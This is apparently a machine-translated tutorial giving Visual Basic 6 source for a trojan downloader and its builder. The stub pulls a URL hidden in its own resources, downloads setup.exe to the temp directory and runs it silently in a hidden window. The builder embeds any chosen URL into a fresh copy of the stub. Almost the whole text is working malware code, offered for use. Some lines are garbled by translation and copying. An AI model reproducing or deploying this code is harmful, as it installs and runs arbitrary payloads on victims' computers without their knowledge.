Download
The following is the service side
Private Declare Function gettemppath Lib "kernel32" Alias "Gettemppatha" _ ' Gets the Temp directory API
(ByVal nbufferlength as Long, ByVal lpbuffer as String) As Long
Private Declare Function urldownloadtofile Lib "Urlmon" Alias "Urldownloadtofilea" (ByVal Pcaller as Long, ByVal Szurl as String, ByVal szFileName As String, ByVal dwreserved as Long, ByVal LPFNCB as long, under File API
Public Sub Main ()
Dim sourceURL as String
Dim Chen () as Byte
Dim TargetFile as String
Dim TempPath as String
Dim Len5 as Long
Dim I as Long
Chen = LoadResData ("HTTP", "icon") ' Fetch data
For i = 0 to 184 ' revert to character
If Chen (i) <> 0 and Chen (i) <> Then
sourceURL = sourceURL + Chr (Chen (i))
End If
Next
TempPath = String (255, 0)
LEN5 = GetTempPath (256, TempPath)
TempPath = Left (TempPath, LEN5)
TargetFile = TempPath + "setup.exe" save path
hfile = Urldownloadtofile (0&, sourceURL, TargetFile, 0&, 0&)
If hfile = 0 Then
Shell TargetFile, Vbhide
End If
End Sub
Save it as a bas file
The console file needs to read and write to the resource file
Use the following APIs
Public Declare Function beginupdateresource Lib "kernel32" Alias "Beginupdateresourcea" (ByVal pfilename as String, ByVal Bdeleteexistingresources as long) as long
Public Declare Function updateresource Lib "kernel32" Alias "Updateresourcea" (ByVal hupdate as Long, ByVal Lptype as Stri Ng, ByVal lpname as String, ByVal wlanguage as Long, lpdata as any, ByVal cbdata as long) as long
Public Declare Function endupdateresource Lib "kernel32" Alias "Endupdateresourcea" (ByVal hupdate as Long, ByVal Fdiscard As long) as long
These guys can put it in a bas file.
The following is the code for the console
Private Sub Command1_Click ()
Dim Bwenjian as Long
Dim Wenjian as Long
Dim Ewenjian as Long
Dim APP2 () as Byte
Dim Astr as String * 200
APP2 = LoadResData ("EXE", "Exefile")
If Dir (Text1.Text) <> "" Then
MsgBox Text1.Text + "already exist"
Exit Sub
End If
Open Text1.Text for Binary as #1
Put #1, APP2 ()
Close #1
Astr = left$ (Text2.text, 200)
Bwenjian = Beginupdateresource (Text1.Text, False) ' starts a process of adding resources
Wenjian = Updateresource (Bwenjian, "icon", "HTTP", 2052, ByVal astr, 200) ' Add Resource
Ewenjian = Endupdateresource (Bwenjian, False) ' End Add resource process
End Sub
Private Sub Form_Load ()
Text1.Text = App.Path & "\xz. Exe ' ' Default service-side filename
End Sub
Of course you have to save the server EXE import as a resource